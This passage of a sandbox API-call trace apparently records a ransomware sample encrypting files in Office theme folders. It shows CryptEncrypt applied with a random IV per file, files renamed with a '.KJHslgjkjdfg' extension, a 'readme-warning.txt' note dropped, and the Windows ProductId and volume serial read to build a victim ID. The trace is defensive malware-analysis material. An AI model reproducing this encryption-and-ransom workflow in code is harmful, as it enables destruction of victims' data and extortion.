liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.586] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x54f1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x54f1, lpOverlapped=0x0) returned 1 [0147.588] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5500, dwBufLen=0x5500 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5500) returned 1 [0147.588] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.588] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x5500, lpOverlapped=0x0) returned 1 [0147.588] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.588] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x55d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.588] SetEndOfFile (hFile=0x118) returned 1 [0147.591] GetProcessHeap () returned 0x2a0000 [0147.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.591] GetProcessHeap () returned 0x2a0000 [0147.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.594] CloseHandle (hObject=0x118) returned 1 [0147.594] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.594] GetProcessHeap () returned 0x2a0000 [0147.594] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.594] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.594] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.594] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.595] GetProcessHeap () returned 0x2a0000 [0147.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.595] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.595] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.595] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.595] GetProcessHeap () returned 0x2a0000 [0147.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.595] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.595] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.595] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.595] GetProcessHeap () returned 0x2a0000 [0147.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.595] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.595] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.595] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.595] GetProcessHeap () returned 0x2a0000 [0147.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.595] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.595] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.595] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.595] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.596] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.596] RegCloseKey (hKey=0x118) returned 0x0 [0147.596] GetProcessHeap () returned 0x2a0000 [0147.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.596] GetProcessHeap () returned 0x2a0000 [0147.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.596] GetProcessHeap () returned 0x2a0000 [0147.596] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.596] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.596] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.596] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.596] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.596] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.597] GetProcessHeap () returned 0x2a0000 [0147.597] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.597] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.597] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.597] GetProcessHeap () returned 0x2a0000 [0147.597] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.597] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\readme-warning.txt") returned 80 [0147.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.597] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.599] CloseHandle (hObject=0x118) returned 1 [0147.599] GetProcessHeap () returned 0x2a0000 [0147.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.599] GetProcessHeap () returned 0x2a0000 [0147.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.599] GetProcessHeap () returned 0x2a0000 [0147.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.599] GetProcessHeap () returned 0x2a0000 [0147.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.599] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.599] GetProcessHeap () returned 0x2a0000 [0147.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.599] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0147.600] GetProcessHeap () returned 0x2a0000 [0147.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0147.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.601] GetProcessHeap () returned 0x2a0000 [0147.601] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.601] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.601] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.601] GetProcessHeap () returned 0x2a0000 [0147.602] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0147.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.603] GetProcessHeap () returned 0x2a0000 [0147.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.603] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.603] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.603] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0147.605] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.605] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.605] GetProcessHeap () returned 0x2a0000 [0147.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.605] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.605] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.605] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.605] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.606] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.606] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.606] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.606] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.606] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.606] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.606] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.606] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x53b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x53b, lpOverlapped=0x0) returned 1 [0147.606] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x540, dwBufLen=0x540 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x540) returned 1 [0147.606] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.606] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x540, lpOverlapped=0x0) returned 1 [0147.606] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.606] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.607] SetEndOfFile (hFile=0x118) returned 1 [0147.609] GetProcessHeap () returned 0x2a0000 [0147.609] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.609] GetProcessHeap () returned 0x2a0000 [0147.609] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.612] CloseHandle (hObject=0x118) returned 1 [0147.612] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0147.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.613] GetProcessHeap () returned 0x2a0000 [0147.613] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.613] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.614] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.614] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0147.616] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.616] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.616] GetProcessHeap () returned 0x2a0000 [0147.616] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.616] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.616] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.616] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.616] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.616] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.616] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.616] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.616] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.617] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.617] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.617] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb20e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xb20e, lpOverlapped=0x0) returned 1 [0147.618] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb210, dwBufLen=0xb210 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb210) returned 1 [0147.619] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.619] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb210, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xb210, lpOverlapped=0x0) returned 1 [0147.619] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.619] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.619] SetEndOfFile (hFile=0x118) returned 1 [0147.622] GetProcessHeap () returned 0x2a0000 [0147.622] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.622] GetProcessHeap () returned 0x2a0000 [0147.622] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.kjhslgjkjdfg")) returned 1 [0147.627] CloseHandle (hObject=0x118) returned 1 [0147.627] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0147.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.628] GetProcessHeap () returned 0x2a0000 [0147.628] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.628] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.628] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.628] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0147.630] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, 